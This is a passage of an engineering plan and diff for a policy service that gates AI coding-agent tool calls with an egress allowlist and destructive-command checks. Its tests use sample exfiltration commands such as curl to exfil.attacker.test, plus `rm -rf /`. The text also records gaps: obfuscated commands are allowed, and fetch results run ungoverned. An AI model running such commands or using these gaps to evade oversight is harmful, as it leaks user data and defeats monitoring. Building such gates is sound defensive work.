nothing on EVERY call. Throwing there would send + // every one of those steps to governStep's posture path, which under the + // shipped `proceed` runs the step ungoverned. + if (typeof rawCommand === "string") { + payloadOut.raw_command = rawCommand; + } + } + + return payloadOut; +``` + +And at the top of the `outputs` branch, beside the entry's other member checks: + +```ts + // A result gate declaring a command path is a hookmap fault, not a payload + // one: the result payload this branch builds has no member for it, so the + // declaration could only ever be silently dropped. + if (entry.raw_command !== undefined && entry.raw_command !== null) { + throw new Error( + `buildEnvelope: hookmap entry for hook "${event}" declares "raw_command" beside "outputs" -- a ` + + `result payload carries no command line, and this declaration could only be dropped`, + ); + } +``` + +- [ ] **Step 4: Declare the path in both hookmaps** + +`hosts/claude-code/claude-code.hookmap.yaml`, under `hooks.PreToolUse`, beside `arguments`: + +```yaml + # ACS's own raw_command: the command line this step IS, verbatim, which is + # a different thing from the argument bag above and is why it gets its own + # path rather than being read back out of `arguments`. + # + # What reads it: the Guardian's egress annotator, which extracts a + # destination from it and answers at AGT's own fifth default destination + # path. AGT's egress gate cannot use the command directly -- its host_of() + # splits on "://" and then "/", so handed `curl https://evil.test/x` it + # answers `curl https`. + # + # Unresolvable is ORDINARY here, not a fault: WebFetch sends no `command`, + # and the field is optional in hooks/tool-call-request.json. buildEnvelope + # omits it rather than throwing, which is the opposite of what it does for + # the result gate's `outputs.from` -- see that function's own comment for + # why the two differ. + raw_command: $.tool_input.command +``` + +`hosts/opencode/opencode.hookmap.yaml`, under `hooks."tool.execute.before"`, beside `arguments`: + +```yaml + # The same declaration Claude Code's hookmap makes, at this host's own + # field: OpenCode hands the plugin a mutable `{args}`, so the shell tool's + # command line is `$.args.command` where host #1 has `$.tool_input.command`. + # Absorbing that difference is what a hookmap is for. + raw_command: $.args.command +``` + +- [ ] **Step 5: Run the tests to verify they pass** + +Run: `bun test packages/host-adapter/test/build-envelope.test.ts` +Expected: PASS. + +Then `bun test && bun run typecheck`. Both hosts' own wire-shape tests read the shipped hookmaps; if one pins the entry's exact key set, add `raw_command` there and say so in the commit. + +- [ ] **Step 6: Commit** + +```bash +git add packages/host-adapter/src/build-envelope.ts packages/host-adapter/test/build-envelope.test.ts hosts/claude-code/claude-code.hookmap.yaml hosts/opencode/opencode.hookmap.yaml +git commit -m "Carry the command line ACS has always typed and no hookmap declared" +``` + +--- + +## Task 4: The gate turned on, and a dispatcher that is never absent · slice #28 · N30, N31, S7, S8 + +`cfg.egress` is set — one `data.json` key, no code and no Rego — and the manifest declares the annotator that feeds its fifth destination path. The Guardian stops treating a dispatcher as optional. + +**Files:** +- Modify: `policy/lib/data.json` (the only file in that directory this slice may touch) +- Modify: `policy/manifest.yaml` +- Modify: `policy/manifest.drift.yaml` +- Modify: `packages/guardian/src/server.ts` +- Test: `packages/guardian/test/server.test.ts` + +**Interfaces:** +- Consumes: `annotateEgressDestination` (Task 2); the always-present `raw_command` on the snapshot (Task 1); the wire's `raw_command` (Task 3). +- Produces: `dispatchGuardianAnnotator: Annotator`, exported from `packages/guardian/src/server.ts` (not from the package barrel — the barrel is governance verbs only). + +**Two measured hazards, and this task is where both become reachable:** + +- **A declared annotator with no dispatcher denies everything.** One manifest declaring `annotators: egress: {type: classifier}`, evaluated by a bridge built without a dispatcher, answered `deny runtime_error:annotation_failed` — *"egress: missing required field 'url'"* — for `echo hi` as readily as for a `curl`. Not a no-op: a total deny wearing a runtime-error reason, which reads like a policy decision. +- **`cfg.egress: {}` denies every destination.** `allowlist(rules)` falls back to `input.tool.security_labels` when the key is absent, and every tool this manifest registers carries `[shell]`, so every destination fails the glob. + +- [ ] **Step 1: Write the failing test** + +Append to `packages/guardian/test/server.test.ts`, following that file's existing "start a real Guardian and post an envelope" helpers. Add an import of `dispatchGuardianAnnotator` from `../src/server.ts`. + +```ts +describe("the annotator the shipped manifest declares", () => { + it("routes the egress annotator by name", () => { + expect( + dispatchGuardianAnnotator("egress", {}, { snapshot: { tool_call: { args: {}, raw_command: "curl https://exfil.test/x" } } }), + ).toEqual({ destination: "https://exfil.test/x" }); + }); + + // A manifest naming an annotator this Guardian has nothing for is a + // deployment fault, and AGT turns the throw into a deny on every call -- + // which is exactly right, because it is wrong on every call. Answering an + // empty annotation instead would run the deployment silently unannotated. + it("refuses a name it has no annotator for, rather than answering nothing", () => { + expect(() => dispatchGuardianAnnotator("drift_score", {}, {})).toThrow(/drift_score/); + }); +}); + +// THE ONE CHECK IN THIS SLICE WHOSE ABSENCE WOULD BE SILENT. A manifest +// declaring an annotator the Guardian dispatches nothing for denies every +// call, benign ones included, with a runtime-error reason that reads like a +// policy decision -- measured. Nothing else here would catch that: every +// deny-side test in this slice would still pass. +describe("a benign call under the shipped manifest and the shipped annotator", () => { + it("is not denied", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "echo hi" }, { raw_command: "echo hi" }); + expect(decision.decision).toBe("allow"); + expect(decision.reason_codes ?? []).not.toContain("runtime_error:annotation_failed"); + } finally { + await guardian.close(); + } + }); +}); + +describe("AGT's stock egress gate, driven from configuration", () => { + it("denies a fetch of a host the allowlist does not cover", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "WebFetch", { url: "https://exfil.attacker.test/steal" }); + expect(decision.decision).toBe("deny"); + expect(decision.reason_codes).toEqual(["egress_destination_not_allowed"]); + } finally { + await guardian.close(); + } + }); + + it("allows a fetch the allowlist covers", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + expect((await postToolCallRequest(guardian, "WebFetch", { url: "https://docs.anthropic.com/x" })).decision).toBe("allow"); + } finally { + await guardian.close(); + } + }); + + it("denies a shell command reaching the same host, from a destination the Guardian extracted", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest( + guardian, + "Bash", + { command: "curl https://exfil.attacker.test/steal" }, + { raw_command: "curl https://exfil.attacker.test/steal" }, + ); + expect(decision.decision).toBe("deny"); + expect(decision.reason_codes).toEqual(["egress_destination_not_allowed"]); + } finally { + await guardian.close(); + } + }); + + // No false positive in either direction, which is what makes a SHARED + // policy-target leaf safe: the destructive-shell patterns do not match URLs, + // and the egress gate does not match commands. + it("still denies a destructive shell command on its own gate, not on this one", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest(guardian, "Bash", { command: "rm -rf /" }, { raw_command: "rm -rf /" }); + expect(decision.reason_codes).toEqual(["destructive_shell_command_blocked"]); + } finally { + await guardian.close(); + } + }); + + it("allows a shell command reaching a host the allowlist covers", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + const decision = await postToolCallRequest( + guardian, + "Bash", + { command: "curl https://docs.anthropic.com/x" }, + { raw_command: "curl https://docs.anthropic.com/x" }, + ); + expect(decision.decision).toBe("allow"); + } finally { + await guardian.close(); + } + }); + + // The stated miss direction, at the level a demo viewer sees it: a command + // the extractor cannot parse is unexamined, not denied. + it("allows a command it can find no destination in, rather than denying what it cannot read", async () => { + const guardian = await startGuardian({ port: 0, manifestPath: "policy/manifest.yaml" }); + try { + expect( + (await postToolCallRequest(guardian, "Bash", { command: "echo hi" }, { raw_command: "echo hi" })).decision, + ).toBe("allow"); + } finally { + await guardian.close(); + } + }); +}); +``` + +- [ ] **Step 2: Run the test to verify it fails** + +Run: `bun test packages/guardian/test/server.test.ts` +Expected: FAIL — `dispatchGuardianAnnotator` is not exported, and the egress cases come back `allow` because `cfg.egress` is not set. + +- [ ] **Step 3: Turn the gate on** + +`policy/lib/data.json` gains one key. This file is **not** vendored — `test/pin.test.ts` says the bundle "adds nothing except data.json", and `verify:pin` byte-diffs only the `.rego` files — so this is configuration, not a fork. + +```json + "egress": { + "allowlist": ["*.anthropic.com", "docs.example.com"] + }, +``` + +**The `allowlist` key is not optional in practice.** JSON carries no comments, so the reason lives in `policy/manifest.yaml`'s tool entries and in the runbook: with the key absent, `allowlist(rules)` falls back to `input.tool.security_labels`, which is `["shell"]` on every tool this manifest registers, and the gate denies every destination — a total deny that reads like a policy decision. + +- [ ] **Step 4: Declare the annotator in the manifest** + +In `policy/manifest.yaml`, add the `annotators` block after `policies:` and the `annotations` block inside `pre_tool_call`: + +```yaml +# The one annotator this deployment declares, and the only way `annotations` +# reaches policy input at all -- five other placements were tried against the +# ACS snapshot while V3 was designed and every one was dropped silently; see +# policy/manifest.drift.yaml's header. +# +# `classifier` is AGT's own type for a host-supplied judgement about a step. +# Here the judgement is "which destination does this command reach", which the +# Guardian answers from ACS's raw_command because AGT's own host_of() cannot: +# it splits on "://" and then "/", so handed a whole command line it answers a +# garbage host. +# +# WHAT MUST BE TRUE FOR THIS BLOCK TO BE SAFE, measured rather than assumed: a +# manifest that declares an annotator and is evaluated by a bridge built +# WITHOUT a dispatcher denies every call -- benign ones included -- with +# runtime_error:annotation_failed. startGuardian therefore supplies its +# built-in dispatcher unconditionally, and a test asserting a benign call is +# not denied under this manifest is the backstop. +annotators: + egress: + type: classifier +``` + +```yaml + # Wires the annotator above into this gate. `from` is a LIVENESS + # PRECONDITION, not a projection, and both halves of that are measured: + # AGT requires this path to resolve or it denies the whole call on + # runtime_error:path_missing with the annotator never dispatched, and the + # value it resolves is NOT what the annotator receives -- the dispatcher + # gets the entire preliminary policy input and reads the command out of it + # by name. + # + # So this path names the one snapshot member assemble-snapshot.ts + # guarantees is always present: raw_command, the empty string when the wire + # carried none. A path that could be absent for some tool would make every + # call by that tool a total deny. + annotations: + egress: + from: "$.tool_call.raw_command" +``` + +`policy/manifest.drift.yaml` moves to the same leaf, for the same reason and with a comment saying so. Its `policy_target` still resolves for `Bash` today only because the assembler leaves each tool's own arguments beside the leaf; leaving it pointed at `command` would silently deny the first non-shell tool anyone ran the drift demo with. + +```yaml + policy_target: "$.tool_call.args.acs_policy_target" + policy_target_kind: tool_args + tool_name_from: "$.tool_call.name" + annotations: + drift_score: + from: "$.tool_call.args.acs_policy_target" +``` + +- [ ] **Step 5: Supply the dispatcher unconditionally** + +In `packages/guardian/src/server.ts`, import the annotator and add the router at module level: + +```ts +import { annotateEgressDestination } from "./annotate-egress.ts"; +``` + +```ts +/** + * The annotators this Guardian can answer for, routed by the name the manifest + * declared. + * + * A name this has nothing for THROWS, and that is deliberate even though AGT + * turns it into a deny on every call in the deployment. It is wrong on every + * call: a manifest declaring an annotator whose value never arrives is + * evaluating policy against an annotation that is permanently absent. Failing + * loudly and immediately is better than running silently unannotated, and the + * failure is found on the first request rather than in an incident review. + */ +export const dispatchGuardianAnnotator: Annotator = (name, config, preliminary) => { + if (name === "egress") { + return annotateEgressDestination(name, config, preliminary); + } + throw new Error( + `this Guardian has no annotator named ${JSON.stringify(name)} -- the manifest declares one it cannot ` + + `supply a value for`, + ); +}; +``` + +Rewrite `StartGuardianOptions.annotator`'s doc comment, which currently says the main manifest declares no annotator and that omitting the option means running with none. Both halves are now false: + +```ts + /** Overrides the annotator this Guardian dispatches, replacing the built-in + * one entirely. + * + * Omitting this no longer means "no annotator" -- it means the built-in one + * (`dispatchGuardianAnnotator`). `policy/manifest.yaml` declares an + * `egress` annotator, and a declared annotator the bridge dispatches + * nothing for denies EVERY call with runtime_error:annotation_failed, + * measured, benign calls included. So the dispatcher is never absent, and + * this option chooses which one rather than whether. V3's drift demo is the + * caller that supplies its own. */ + annotator?: Annotator; +``` + +And the construction: + +```ts + // Never `undefined`. See StartGuardianOptions.annotator: a manifest-declared + // annotator with no dispatcher is a total deny, not a no-op. + const bridge = bridgeOverride ?? createBridge(manifestPath, { annotator: annotator ?? dispatchGuardianAnnotator }); +``` + +- [ ] **Step 6: Run the tests to verify they pass** + +Run: `bun test packages/guardian/test/server.test.ts` +Expected: PASS. + +Then the whole suite: `bun test && bun run typecheck`. + +**Read every new failure before touching it.** Turning on a fourth gate class changes verdicts for any existing test whose fixture command contains a URL — the priority chain puts `egress` above `patterns`, so a fixture that used to deny on a destructive pattern and also names a host outside the allowlist now denies on egress instead. That is a real behaviour change and belongs in the commit message, not in an adjusted assertion. + +- [ ] **Step 7: Verify the pin is untouched** + +```bash +bun run verify:pin +``` + +Expected: PASS. This is the claim the slice rests on — a fourth gate class went live and no `.rego` file changed. If `trash` is missing or the network is down the script refuses; report that rather than skipping the check. + +- [ ] **Step 8: Commit** + +```bash +git add policy/lib/data.json policy/manifest.yaml policy/manifest.drift.yaml packages/guardian/src/server.ts packages/guardian/test/server.test.ts +git commit -m "Turn on a fourth gate class with one config key, and stop treating a dispatcher as optional" +``` + +--- + + +## Task 5: Letting a real host produce the second shape · slice #28 · S17, S2 + +Everything above is reachable only by a test that posts an envelope directly. This task lets a live host produce one. + +**This task has no red-green cycle, and manufacturing one would be dishonest.** Nothing here is behaviour: it is which tools reach the shim at all (host #1's matcher), which tools a gate declines to ask about (host #2's `tools` list), and eight comments that describe a scope which just changed. The behavioural assertions were red before Tasks 1 and 4 and are green now. What this task owes instead is a **live measurement** and a comment audit, and both are checkable. + +**Files:** +- Modify: `.claude/settings.json` +- Modify: `hosts/claude-code/settings.json` +- Modify: `hosts/opencode/opencode.hookmap.yaml` (the request gate's `tools:` list) +- Modify: `mapping.yaml` (only if Step 1's measurement contradicts the declared `webfetch` argument) +- Modify: eight comments that name `^Bash$` as the whole scope + +- [ ] **Step 1: Measure host #2's fetch argument before trusting the declaration** + +⚠️ **This is the one unverified value in the slice.** OpenCode's fetch tool NAME is measured — a live run through a Guardian recorded `read / grep / write / edit / webfetch -> deny runtime_error:path_missing`, which is OpenCode reporting its own tool names. Its argument KEY is read out of the shipped `opencode` 1.18.18 binary's own tool renderer (`t.input.url`), which is evidence about the tool's input shape and not a measurement of what lands in the plugin's `args`. + +Start a Guardian with an envelope log, run a fetch through OpenCode with the plugin loaded, and read the argument bag off the logged envelope at `params.payload.arguments`: + +```bash +bun run guardian & +# … run a web fetch in an OpenCode session with the plugin loaded … +``` + +Record what you saw in the commit message either way. If the key is not `url`, change `mapping.yaml`'s `by_tool.webfetch` row to what it actually is — and do **not** touch `WebFetch`, which is host #1's and is separately correct. + +- [ ] **Step 2: Widen the request gate's matcher, and only the request gate's** + +Both `.claude/settings.json` and `hosts/claude-code/settings.json`. The two files are byte-identical today and must stay so. + +```json +{ + "hooks": { + "PreToolUse": [ + { + "matcher": "^(Bash|WebFetch)$", + "hooks": [ + { "type": "command", "command": "bun run \"$CLAUDE_PROJECT_DIR/hosts/claude-code/acs-hook.ts\"" } + ] + } + ], + "PostToolUse": [ + { + "matcher": "^Bash$", + "hooks": [ + { "type": "command", "command": "bun run \"$CLAUDE_PROJECT_DIR/hosts/claude-code/acs-hook.ts\"" } + ] + } + ] + } +} +``` + +**`PostToolUse` deliberately does not widen, and that is measured rather than cautious.** The hookmap's `PostToolUse` entry declares `outputs.from: $.tool_response.stdout`. A `WebFetch` result carries no `stdout`, so `resolvePath` answers `undefined`, `buildPayload` throws, `governStep` catches it at stage `"request"` and answers with the negotiated delivery posture — and under the shipped default (`proceed`) the step runs **ungoverned with an audit event**. No stock gate reads a fetch's output, so widening it would buy a fail-open in exchange for nothing. + +Verify the two files stayed identical: + +```bash +diff .claude/settings.json hosts/claude-code/settings.json && echo identical +``` + +- [ ] **Step 3: Widen host #2's request gate** + +In `hosts/opencode/opencode.hookmap.yaml`, on the `tool.execute.before` entry only: + +```yaml + tools: [bash, webfetch] +``` + +The result gate's `tools: [bash]` **stays**, for the same reason host #1's `PostToolUse` matcher stays anchored: `governsTool` skipping a tool is an empty render rather than a fail-open, and no stock gate reads a fetch's output. + +Extend that entry's existing `tools` comment — the one that already explains, at length, why the request gate needs a list at all — with the sentence that is new: + +```yaml + # `webfetch` joins `bash` because the manifest can now express a policy + # target for it: mapping.yaml names which argument each tool's target lives + # in, and the Guardian copies it to the one leaf the manifest points at. The + # paragraph above still holds for every OTHER tool this host can call -- + # they are declined here, not asked and mis-answered. +``` + +- [ ] **Step 4: Update the comments that say `^Bash$` is the whole scope** + +Eight of them. Read each and rewrite the sentence; do not search-and-replace the pattern, because several are making a wider point that is still true. + +``` +test/invariants.test.ts:393 +test/invariants.test.ts:471 +packages/host-adapter/src/build-envelope.ts:89 +packages/host-adapter/src/govern-step.ts:146 +packages/host-adapter/src/govern-step.ts:279 +packages/host-adapter/test/govern-step.test.ts:562 +hosts/claude-code/test/hook.test.ts:198 +hosts/opencode/test/hookmap.test.ts:121 +``` + +The claim that survives in all eight: **host #1 scopes by its `settings.json` matcher where host #2 scopes by a hookmap `tools` list**, which is why host #1's hookmap declares no `tools` at either gate. What changes is that the matcher now names two tools at the request gate and one at the result gate — so host #1's two gates are no longer scoped identically, which none of these comments currently anticipates. + +- [ ] **Step 5: Run everything** + +```bash +bun test +bun run typecheck +bun run verify:pin +``` + +Expected: all green. `test/invariants.test.ts`'s *"Claude Code's hookmap declares no `tools` at a gate where an empty render is not an answer"* still holds — this slice adds no `tools` list to host #1's hookmap. + +- [ ] **Step 6: Commit** + +```bash +git add .claude/settings.json hosts/claude-code/settings.json hosts/opencode/opencode.hookmap.yaml mapping.yaml test/invariants.test.ts packages/host-adapter hosts/claude-code/test hosts/opencode/test +git commit -m "Let a second tool reach the shim, and say which gates are still one-tool" +``` + +--- + +## Task 6: The runbook, the declaration, and the amendments · slice #28 + +Every claim in this slice becomes text a reader can check, or it is not delivered. The runbook is captured from real runs; the corrections found while planning are amended into the slices doc; and the two things this slice does **not** close are named there rather than left to be inherited. + +**Files:** +- Create: `docs/demos/v9-runbook.md` +- Modify: `docs/shaping/acs-reference-impl-slices.md` (§V9, and risk rows) +- Modify: `slices/v9/README.md` +- Modify: `README.md` +- Modify: `docs/demos/v3-runbook.md` (only if Step 2's re-run contradicts it) + +- [ ] **Step 1: Capture the runbook** + +Write `docs/demos/v9-runbook.md` following `docs/demos/v8-runbook.md`'s shape: the demo in words, prerequisites, then captured blocks. **Nothing hand-edited.** Every block is pasted from an actual run. + +Sections, in order: + +1. **The demo, in words.** Two routes to one gate, and why they are two claims rather than one. +2. **The half with no code at all.** `egress.rego`'s **first** default destination path is `["snapshot","tool_call","args","url"]`, and the assembler already unwraps every ACS `arguments..value` into `tool_call.args.`. Capture the two `WebFetch` verdicts and the `policy/lib/data.json` diff behind them — one key. +3. **The half that needs a Guardian.** Capture the two `Bash` `curl` verdicts, and beside them the `input.annotations.egress` block out of AGT's own policy input, so a reader sees the destination arriving at AGT's own fifth declared path rather than taking it on trust. +4. **The four gate classes on one leaf.** Capture all six rows of Task 4's coexistence table. State plainly that no gate produced a false positive in either direction. +5. **The redaction that used to land on the wrong argument.** Capture the `modify` decision for a fetch whose url carries a token, showing `parameter_overrides.url`. State what it was before: `parameter_overrides.command`, on a tool with no `command`, while `url` shipped untouched. +6. **What this does not catch, stated plainly because the demo's shape invites the opposite reading.** A command the extractor cannot parse is **unexamined, not denied** — the gate is `undefined` when no destination resolves and the call falls through. Capture an obfuscated command allowing, so the limit is shown rather than asserted. +7. **The pin.** `bun run verify:pin` output. A fourth gate class went live and no `.rego` changed. + +- [ ] **Step 2: Re-run V3's drift capture** + +Task 4 moved `policy/manifest.drift.yaml`'s `policy_target` to the normalised leaf. The verdict should be unchanged — the drift gate reads an annotation, not the target — but "should be" is not this repository's standard. + +Re-run the drift demo exactly as `docs/demos/v3-runbook.md` §"the annotator" describes it and compare the captured verdict. If it differs, re-capture that section and say so in the commit message; if it matches, say that too. + +- [ ] **Step 3: Amend §V9 with the five corrections** + +In `docs/shaping/acs-reference-impl-slices.md` §V9: + +1. **C1** — a new ⚠️ subsection: an annotator's `from` is a liveness precondition, not a projection; an unresolvable one denies the whole call with the annotator never dispatched; the resolved value never reaches the dispatcher. This is a **second** instance of §A8's family and it is the reason `raw_command` is always on the snapshot. +2. **C2** — amend the "The two egress routes are not one claim" paragraph. The distinction is real and the *matrix cell* is not: V7's matrix is 8 points × 5 verdicts read off the SDK's own consts, `pre_tool_call × deny` already resolves `expressed`, and there is no coordinate for a gate class or a route. Restate the claim where it is true — the runbook and this section — and record that V9 touches `packages/conformance` not at all. Cite V8's own precedent: a `SurfaceDiff` is not a cell of the 8 × 5 either. +3. **C3** — a new risk row: two resolvable destination paths with different values are `runtime_error:policy_invocation_failed`, not a priority order. Not reachable across the two tools this slice governs, reachable on the first tool registered that sends both, closed structurally in the annotator. +4. **C4** — replace §V9's two partial verdict tables with the full six-row measurement taken against the manifest this slice actually ships. +5. **C5** — record the split evidence for OpenCode's fetch tool: name measured, argument key read out of the binary, and what Task 5's live run found. + +Update `slices/v9/README.md` in the same pass: commitment 6's wording stands, but the file should now say that the annotator also stands down when the snapshot's own arguments already carry a destination, and why. + +- [ ] **Step 4: State what is not closed, in the same words as the risk rows** + +Amend §V9's own text — do not rely on the risk table alone: + +- **Risk row 22 (the miss direction)** is this slice's, stated in the runbook and in the annotator's own doc comment. +- **Risk row 24 (the result gate's one-shape assumption)** is **not** this slice's and stays unassigned. The general close is the `outputs` counterpart of `mapping.yaml`'s `by_tool` table; it needs its own measurements per host, and the two hookmaps' `outputs` blocks already differ. +- **The `by_tool` registry check is existence only.** The manifest registry can say `WebFetch` is registered; it cannot say `WebFetch` takes a `url`. Same limit V8 measured for hookmap `tools` entries, and for the same reason: one manifest serves both hosts. + +- [ ] **Step 5: Update `README.md`** + +Add the V9 paragraph in the shape V3's and V8's already have: what shipped, what was configuration and what was code, and the one sentence that does the work — **three of AGT's nine stock gate classes were reachable before this slice; `egress` is the fourth, and the half of it that covers `WebFetch` needed one `data.json` key and no code at all.** Link `slices/v9/README.md` and `docs/demos/v9-runbook.md`. + +Also update the `ACS_MANIFEST_PATH` row of the environment table if it describes the main manifest as declaring no annotator. + +- [ ] **Step 6: Verify every captured block is real** + +Re-run each captured command and diff it against what is in the runbook. A block that differs is re-captured, never edited. + +```bash +bun test +bun run typecheck +bun run verify:pin +bun run conformance +``` + +- [ ] **Step 7: Commit** + +```bash +git add docs/demos/v9-runbook.md docs/shaping/acs-reference-impl-slices.md slices/v9/README.md README.md docs/demos/v3-runbook.md +git commit -m "Capture V9 against the shipped build, and correct five things planning measured" +``` + +--- + +## Cross-slice work in this plan + +| Change | Whose it was | Why it lands here | +|---|---|---| +| `mapping.yaml`'s `redaction_applied.pre_tool_call` summary | V3's wording table | The sentence says "this command", and this slice is what first makes it wrong — a fetch's url is not a command, and this is the sentence a model reads | +| `policy/manifest.drift.yaml`'s `policy_target` | V3's second manifest | It targets `$.tool_call.args.command`. It still resolves for `Bash`, and would deny the first non-shell tool anyone ran the drift demo with. One line, moved with the main manifest | +| Eight `^Bash$` comments | V1, V4, V5 | Each describes a scope that changes in Task 5. Left alone they would be the only remaining statement that this deployment governs one tool | + +## Scope added during planning + +| Addition | Why | +|---|---| +| An always-present `raw_command` on the request snapshot | C1: an unresolvable annotator `from` denies every call with the annotator never dispatched. Not in the spike, and not optional | +| The annotator stands down when the snapshot's own arguments carry a destination | C3: two resolvable destination paths are a complete-rule conflict, measured as `runtime_error:policy_invocation_failed` | +| A result gate declaring `raw_command` is refused | Symmetry with `assertRequestGateDeclaresNoOutputs`; a result payload has no member for it, so the declaration could only ever be dropped | +| `dispatchGuardianAnnotator` throws for a name it has nothing for | A manifest declaring an annotator whose value never arrives evaluates policy against a permanently absent annotation. Wrong on every call, so it should fail on the first | + +## Not in this plan + +| Item | Why, and where it goes | +|---|---| +| V7 coverage-matrix cells for the two egress routes | C2: the matrix is 8 points × 5 verdicts read off the SDK's own consts and has no coordinate for a gate class or a route. `pre_tool_call × deny` already resolves `expressed`. Stated in the runbook and §V9 instead | +| The result gate's `outputs.from` one-shape assumption | Risk row 24, explicitly unassigned. Needs its own measurements per host; the two hookmaps' `outputs` blocks already differ | +| Governing any third tool | Additive by construction — a `tools:` registration plus a `by_tool` row plus a matcher entry — and not something this slice's demo should be read as having done | +| The six posture-seam hookmap faults; the Inspector tail-test sleeps | Carried from §V5 and §V2; untouched here | + +## What this slice does and does not confirm + +**Confirms.** AGT's stock `egress` gate decides real ACS traffic through the pinned, unforked bundle, for two tools whose arguments disagree about their names, by two different routes — one where the wire and the gate already agree and nothing translates, one where the Guardian originates the destination and answers at AGT's own declared annotation path. Four of AGT's nine stock gate classes are now live in one Guardian on one manifest, with no false positive between them. + +**Does not confirm.** That the destination extractor sees every egress form — it sees the first absolute http(s) URL in a command line, and an obfuscated or novel form falls through to `allow`. That widening the matcher governs anything but the tools named in it. That a fetch's *output* is governed at all — the result gate stays scoped to one tool, deliberately, and the assumption behind that is recorded and unassigned. That `WebFetch` takes a `url`: the manifest registry checks that a `by_tool` key is a registered tool, and nothing in this repository can check a tool's argument shape. diff --git a/hosts/claude-code/claude-code.hookmap.yaml b/hosts/claude-code/claude-code.hookmap.yaml index b876d184..0f227b7c 100644 --- a/hosts/claude-code/claude-code.hookmap.yaml +++ b/hosts/claude-code/claude-code.hookmap.yaml @@ -20,6 +20,26 @@ hooks: acs_method: steps/toolCallRequest tool_name: $.tool_name arguments: $.tool_input + # ACS's own raw_command: the command line this step IS, verbatim, which is + # a different thing from the argument bag above and is why it gets its own + # path rather than being read back out of `arguments`. + # + # What reads it: the Guardian's egress annotator, which extracts a + # destination from it and answers at ["annotations", "egress", + # "destination"] -- one of the five paths `default_destination_paths` in + # policy/lib/egress.rego declares, so AGT published this address itself. + # The gate cannot simply be pointed at the command line instead: + # measured, its host_of() answers `echo hi` for `echo hi`, so a forwarded + # command always resolves a destination, no allowlist pattern matches a + # command line, and every benign shell step would be denied. + # packages/guardian/src/annotate-egress.ts carries the full measurement. + # + # Unresolvable is ORDINARY here, not a fault: WebFetch sends no `command`, + # and the field is optional in hooks/tool-call-request.json. buildEnvelope + # omits it rather than throwing, which is the opposite of what it does for + # the result gate's `outputs.from` -- see that function's own comment for + # why the two differ. + raw_command: $.tool_input.command # This `decisions` block is where Claude Code's output field names live, # and they appear nowhere in the shared adapter. Each entry declares an # `output` block whose keys are dotted paths into the JSON object this @@ -108,6 +128,26 @@ hooks: PostToolUse: acs_method: steps/toolCallResult tool_name: $.tool_name + # THIS GATE'S MATCHER STAYS SINGLE-TOOL WHILE `outputs.from` IS A SINGLE + # PATH, and that is the fact to read before widening `^Bash$` in + # settings.json to match the request gate's `^(Bash|WebFetch)$`. JSON + # cannot carry a comment, so this entry is the only place it can be + # written down. + # + # Measured end to end: a `WebFetch` result carries no `stdout`, so + # `$.tool_response.stdout` resolves to `undefined`, the payload builder in + # packages/host-adapter/src/build-envelope.ts throws rather than asking the + # far end to govern a step whose output it cannot see, `governStep` catches + # that and answers with the deployment's negotiated delivery posture instead + # of a decision -- and under the shipped `proceed` the tool result is + # delivered UNGOVERNED, with an audit event and no Guardian request. Fail + # open, at the one gate whose job is to see what a call produced. + # + # So widening this matcher costs a fail-open on every fetch result and buys + # nothing: no gate in the pinned bundle reads a tool's output for a fetch. + # A second tool shape belongs here once `outputs` can name a path per tool, + # the way `mapping.yaml` already names the policy-target argument per tool + # for the request gate -- not before. outputs: from: $.tool_response.stdout within: $.tool_response diff --git a/hosts/claude-code/settings.json b/hosts/claude-code/settings.json index 6f3fb757..de5a218a 100644 --- a/hosts/claude-code/settings.json +++ b/hosts/claude-code/settings.json @@ -2,7 +2,7 @@ "hooks": { "PreToolUse": [ { - "matcher": "^Bash$", + "matcher": "^(Bash|WebFetch)$", "hooks": [ { "type": "command", diff --git a/hosts/claude-code/test/hook.test.ts b/hosts/claude-code/test/hook.test.ts index 36b14016..d48b9d6c 100644 --- a/hosts/claude-code/test/hook.test.ts +++ b/hosts/claude-code/test/hook.test.ts @@ -195,14 +195,20 @@ describe("acs-hook.ts -- the Claude Code hook shim, run as a real subprocess", ( * `governStep` accepts an optional `scopedTool` -- the tool a caller has * already scoped on. When a gate's hookmap entry declares a `tools` list, * governStep refuses a caller that names none. This shim declares no - * `tools` at either gate (its settings.json matcher `^Bash$` already scopes - * both) and passes no `scopedTool`. `scripts/verify-zero-diff.sh` pins - * `hosts/claude-code/*.ts` and `*.yaml`, so this file's one `governStep` - * call cannot be updated even if the field became required. + * `tools` at either gate (each has its own settings.json matcher already + * scoping it -- `^(Bash|WebFetch)$` at the request gate, `^Bash$` at the + * result gate) and passes no `scopedTool`. `scripts/verify-zero-diff.sh` + * pinned `hosts/claude-code/*.ts` and `*.yaml`, which is why this comment + * used to say the shim's one `governStep` call could not be updated even if + * the field became required. * - * `verify:zero-diff` proves the file did not change. It cannot prove the - * call still works -- that is this suite's job, and the two subprocess - * tests above already prove it end to end for the request gate. Pinned + * That is past tense now. The script diffs against `slice/v4`, this host's + * hookmap has since changed under the frozen pattern, `bun run + * verify:zero-diff` exits 1 from this HEAD naming it, and no workflow runs + * the script. So it proved the file unchanged at the commit it was written + * against and proves nothing from here -- and it never could prove the call + * still works, which was always this suite's job: the two subprocess tests + * above prove that end to end for the request gate. Pinned * separately, and at the adapter seam rather than through stdin/stdout, * because the property is specifically that an untold scope is a complete * call at both gates: a refusal that fired on an absent `tools` key rather diff --git a/hosts/opencode/opencode.hookmap.yaml b/hosts/opencode/opencode.hookmap.yaml index 080f062e..aeba2105 100644 --- a/hosts/opencode/opencode.hookmap.yaml +++ b/hosts/opencode/opencode.hookmap.yaml @@ -107,7 +107,7 @@ hooks: # mutable `{args}`; the shim (acs-plugin.ts) assembles those into one payload # object so these paths have something to resolve against. # - # `tools: [bash]` -- REVERSING a claim this comment used to make ("No tools: + # `tools` -- REVERSING a claim this comment used to make ("No tools: # here, and none belongs here ... it governs everything"). That claim checked # only that THIS gate's own paths ($.tool, $.args) resolve for every tool # OpenCode fires the hook for, which is true and was never the right question. @@ -130,7 +130,17 